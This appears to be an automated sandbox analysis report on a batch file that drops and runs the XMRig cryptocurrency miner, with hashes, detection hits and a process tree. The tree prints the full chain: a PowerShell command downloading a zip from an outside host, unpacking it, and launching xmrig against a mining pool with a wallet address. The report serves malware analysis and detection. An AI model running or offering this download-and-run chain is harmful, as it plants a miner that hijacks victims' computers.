xmrig | 1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
82s
max time network
118s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
21-10-2023 19:04

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General

Target

tesy.bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

xmrig miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral15/files/0x0008000000022c86-45.dat	family_xmrig
behavioral15/files/0x0008000000022c86-45.dat	xmrig
behavioral15/memory/892-48-0x00007FF764860000-0x00007FF765363000-memory.dmp	xmrig
behavioral15/memory/892-49-0x00007FF764860000-0x00007FF765363000-memory.dmp	xmrig
behavioral15/memory/892-52-0x00007FF764860000-0x00007FF765363000-memory.dmp	xmrig
behavioral15/memory/892-55-0x00007FF764860000-0x00007FF765363000-memory.dmp	xmrig
behavioral15/memory/892-56-0x00007FF764860000-0x00007FF765363000-memory.dmp	xmrig
behavioral15/memory/892-57-0x00007FF764860000-0x00007FF765363000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2760	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
892	xmrig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2760	powershell.exe
2760	powershell.exe
3152	powershell.exe
3152	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeLockMemoryPrivilege	892	xmrig.exe
Token: SeLockMemoryPrivilege	892	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
892	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3484 wrote to memory of 2760	3484	cmd.exe	87
PID 3484 wrote to memory of 2760	3484	cmd.exe	87
PID 3484 wrote to memory of 3152	3484	cmd.exe	89
PID 3484 wrote to memory of 3152	3484	cmd.exe	89
PID 3484 wrote to memory of 4748	3484	cmd.exe	92
PID 3484 wrote to memory of 4748	3484	cmd.exe	92
PID 4748 wrote to memory of 892	4748	cmd.exe	94
PID 4748 wrote to memory of 892	4748	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K start.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
    xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:892

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
055cd1930e45c3d77aa744d53bcc29d9

SHA1
af1464daf329f36930b71fb33119c61a13472b6d

SHA256
fcd4a469c653f6bd319b201326633c2183a70184bc159c071915a9c4abd92d3c

SHA512
00ee038f281f34c7d727b7d6d7734bdfc61ee742b33edc5f905adae6afa949b9a9da8c575d949e98b24b59005e469628e99f113e0fc612dc24bbba7f098fa65d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_usyjeyee.qqs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\test.zip

Filesize
3.2MB

MD5
3238c0d25d84b6f0bb645bbb29cdbf61

SHA1
11ae550c8a82c0793862c366b92072ad7e18befe

SHA256
b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

SHA512
d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

Filesize
170B

MD5
78657df2e34e338ff135d3dde69177bf

SHA1
d5048a4270b7ba599e941d26d61bfa2e8da31fce

SHA256
9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

SHA512
f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

Filesize
7.9MB

MD5
4813fa6d610e180b097eae0ce636d2aa

SHA1
1e9cd17ea32af1337dd9a664431c809dd8a64d76

SHA256
9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

SHA512
5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

Download Submit
memory/892-50-0x0000026B68B80000-0x0000026B68BA0000-memory.dmp

Filesize
128KB

Download
memory/892-53-0x0000026B68B80000-0x0000026B68BA0000-memory.dmp

Filesize
128KB

Download
memory/892-46-0x0000026B68B10000-0x0000026B68B30000-memory.dmp

Filesize
128KB

Download
memory/892-58-0x00007FF764860000-0x00007FF765363000-memory.dmp

Filesize
11.0MB

Download
memory/892-47-0x0000026B68B60000-0x0000026B68B80000-memory.dmp

Filesize
128KB

Download
memory/892-57-0x00007FF764860000-0x00007FF765363000-memory.dmp

Filesize
11.0MB

Download
memory/892-56-0x00007FF764860000-0x00007FF765363000-memory.dmp

Filesize
11.0MB

Download
memory/892-48-0x00007FF764860000-0x00007FF765363000-memory.dmp

Filesize
11.0MB

Download
memory/892-55-0x00007FF764860000-0x00007FF765363000-memory.dmp

Filesize
11.0MB

Download
memory/892-54-0x0000026B68BA0000-0x0000026B68BC0000-memory.dmp

Filesize
128KB

Download
memory/892-52-0x00007FF764860000-0x00007FF765363000-memory.dmp

Filesize
11.0MB

Download
memory/892-51-0x0000026B68BA0000-0x0000026B68BC0000-memory.dmp

Filesize
128KB

Download
memory/892-49-0x00007FF764860000-0x00007FF765363000-memory.dmp

Filesize
11.0MB

Download
memory/2760-12-0x00000240FAB20000-0x00000240FAB30000-memory.dmp

Filesize
64KB

Download
memory/2760-13-0x00000240FAB20000-0x00000240FAB30000-memory.dmp

Filesize
64KB

Download
memory/2760-17-0x00007FFC0EE70000-0x00007FFC0F931000-memory.dmp

Filesize
10.8MB

Download
memory/2760-11-0x00000240FAB20000-0x00000240FAB30000-memory.dmp

Filesize
64KB

Download
memory/2760-5-0x00000240FCE70000-0x00000240FCE92000-memory.dmp

Filesize
136KB

Download
memory/2760-10-0x00007FFC0EE70000-0x00007FFC0F931000-memory.dmp

Filesize
10.8MB

Download
memory/3152-29-0x0000016560290000-0x00000165602A0000-memory.dmp

Filesize
64KB

Download
memory/3152-33-0x000001657A7A0000-0x000001657A7AA000-memory.dmp

Filesize
40KB

Download
memory/3152-19-0x00007FFC0EE70000-0x00007FFC0F931000-memory.dmp

Filesize
10.8MB

Download
memory/3152-42-0x00007FFC0EE70000-0x00007FFC0F931000-memory.dmp

Filesize
10.8MB

Download
memory/3152-32-0x000001657A7C0000-0x000001657A7D2000-memory.dmp

Filesize
72KB

Download
memory/3152-30-0x0000016560290000-0x00000165602A0000-memory.dmp

Filesize
64KB

Download